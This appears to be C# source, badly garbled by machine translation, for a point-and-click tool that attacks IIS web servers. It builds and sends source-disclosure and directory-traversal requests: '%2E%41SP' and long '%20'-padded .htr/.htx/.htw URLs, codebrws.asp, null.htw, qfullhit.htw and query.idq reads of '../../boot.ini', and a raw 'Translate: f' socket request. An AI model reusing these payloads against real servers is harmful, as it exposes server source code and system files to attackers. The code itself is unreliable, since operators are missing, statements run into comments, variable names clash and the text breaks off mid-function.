// Main Method Protected Void BTNGO_Click (Object sender, system.eventargs e) {// parsing urlstring strserver = this.txtserver.text; string strurl = this.txtFileName.Text; char [] point = {'.'}; / / Define split is "." CHAR [] line = {'/'}; // Define split is "." String [] arrstring = strurl.split (line); // ask ASP file full name string strhuangname = Arrstring [Arrstring.Length - 1]; // Request from the path from the root directory string strpath = Strurl.Substring (0, strurl.length - strfilename.length); // Resolution file full name arrstring = strfilename.split (Point) ; // Ask file extension string string strlast = arrstring [arrstring.Length - 1]; // Ask file name string strfirst = strfilename.substring (0, strfilename.length - strlast.length - 1); // Make button, input Frames, such.txt Server.readOnly = true; this.txtFilename.Readonly = true; this.btnclear.enabled = false; this.btngo.enabled = false; if (this.txtserver.text == "http: //" || this.txtFileName.text == "" | this.txtServer.Text.trim () == "" | this.txtserver.text.substring (0,7)! = "http: //") { Messagebox.show ("Please enter the correct host name and file name!"); This.txtServer.focus ();} else {this.txtResult.visible = true; t his.txtResult.ReadOnly = true; this.barStatus.Text = "is connected to a PC ..."; string strRequestFile; switch (this.cboMethod.SelectedIndex) {case 0: // read directly strRequestFile = strServer strUrl; break; case 5: //% 2E% 41SPSTRRRREQUESTFILE = STRSERVER STRPATH STRFIRST "% 2E% 41SP"; Break; Case 8: // longhtrstrrequestfile = strserver strURL " % 20% 20% 20% 20% 20% 20% 20 % 20% 20% 20% 20% 20% 20% 20% 20% 20% " " 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% " " 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 "
"% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20" "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% % 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20.htr "; Break; Case 10: //codebrws.aspstrrequestfile = strServer "/iissamples/exair/howitworks/codebrws.asp?source=" strUrl; break; case 11: //showcode.aspstrRequestFile = strServer " /iissamples/exair/howitworks/codebrws.asp?source=" "/msadc/../../../../boot.ini"; Break; Case 12: //null.htwstrrequestfile = strser "/null.htw?ciwebhitsfile=" strurl "% 20 & Cirestriction = None & CiHilittype = FULL "; Break; Case 13: // q fullhit.htwstrRequestFile = strServer "/iissamples/issamples/oop/qfullhit.htw?" " CiWebHitsFile = / .. / .. / boot.ini & CiRestriction = none " " & CiHiliteType = Full "; break; case 14: // qsumrhit.htwstrRequestFile = strServer "/iissamples/issamples/oop/qsumrhit.htw?" " CiWebHitsFile = / .. / .. / boot.ini & CiRestriction = none " " & CiHiliteType = Full "; break; case 15: // Query.idqstrrequestFile =
STRSERVER "/query.idq?citeMplate=/../../boot.ini" "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% " " 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% % 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% % 20% 20% 20% 20% 20% 20% 20% 20.htx "; Break; Case 16: //search/qfullhit.htwstrrequestfile = strser " /iissample/exair/search/qfullhit.htw?" " CiWebhitsFile = / .. / .. / Boot.ini & Cirestriction = None "& CiHilittype = Full"; Break; Case 17: // Search / qsumrhit.htwstrRequestFile = strServer "/iissamples/exair/search/qsumrhit.htw?" " CiWebHitsFile = / .. / .. / boot.ini & CiRestriction = none " " & CiHiliteType = Full "; break; case 18: // Iirturnh.htwstrrequestfile = strserver "/iishelp/iis/misc/iirturnh.htw?" " ciWebhitsFile = / .. / .. / boot.ini & cirestriction = none " " & copiitetype = full "; break; case 19: // .htwstrrequestfile = strserver
Strull "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20" "% 20% 20% 20% 20% 20% 20% 20 % 20% 20% 20% 20% 20% 20% 20% 20% 20% " " 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% % 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% % 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20 " "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20. ? htw " " CiWebHitsFile = / .. / .. / boot.ini & CiRestriction = none " " & CiHiliteType = Full "; break; default: strRequestFile = strServer strUrl this.cboMethod.Text;} this.barStatus.Text = "Send Request:" (StrrequestFile.Length> = 50? StrrequestFile.Substring (0, 50) : strrequestfile) "..."; string strresult; // If not the translate: f method, you can send HTTP request if (this.cbomethod.selectedIndex! = 20) {// Directly send HTTP request strRRESULT = GET_HTTP (StrRequestFile this.barstatus.text = "is done.
"; Strresult = strresult ==" "" "Not found! ": Strresult; this.txtResult.text = strresult;} else // translate: f method Need to establish TCP / IP connection {string strrequest =" Get " strserver strurl / r/nhttp/1.0/r/ntranslate: f / r / n "; strresult = get_socket_request (strserver, strrequest, 80); this.barstatus.text =" is complete.
"; Strresult = strresult ==" "" "Not found! ": Strresult; this.txtresult.text = strresult;}} // make button, input payment, etc. THISTXTSERVER.Readonly = false; this.txtFileName.Readonly = false; this.btnclear.enabled = true; this.btngo .Enabled = true;} // command private string Get_Socket_Request (string a_strServer, string a_strRequest, Int32 a_intPort) {// Set up variables and String to write to the serverEncoding ASCII = Encoding by establishing tcp / ip connection with the server, sending socket. Default; string get = a_strrequest "connection: close / r / n / r / n"; // String get = byte [] byteget = ascii.getbytes (get); byte [] recvbytes = new byte [256]; string strRetPage = null; // IPAddress and IPEndPoint represent the endpoint that will // receive the requestIPAddress hostadd = DNS.Resolve (a_strServer.Substring (7, a_strServer.Length - 7)); IPEndPoint EPhost = new IPEndPoint (hostadd, a_intPort); // Create the Socket for sending data over TCPSocket s = new Socket (AddressFamily.AfINet, SocketType.SockStream, ProtocolType.ProtTCP); // Connect to host using IPEndPointif (s.Connect (EPhost) = 0!) {strRetPage = " Una BLE to Connect To Host "; Return Strretpage;} // Sent The get text to the hosts.send (byteget, byteget.length, 0); // receive the page, loop unstetes are receivers32 bytes = S.Receive RecvBytes, RecvBytes.Length, 0); strRetPage = strRetPage ASCII.GetString (RecvBytes, 0, bytes); while (bytes> 0) {bytes = s.Receive (RecvBytes, RecvBytes.Length, 0); strRetPage = strRetPage Ascii.getstring (Recvbytes, 0, Bytes);} Return StrretPage;} // Get http page function prince get_http (string a_strurl) {string strresult; httpwebrequest myreq =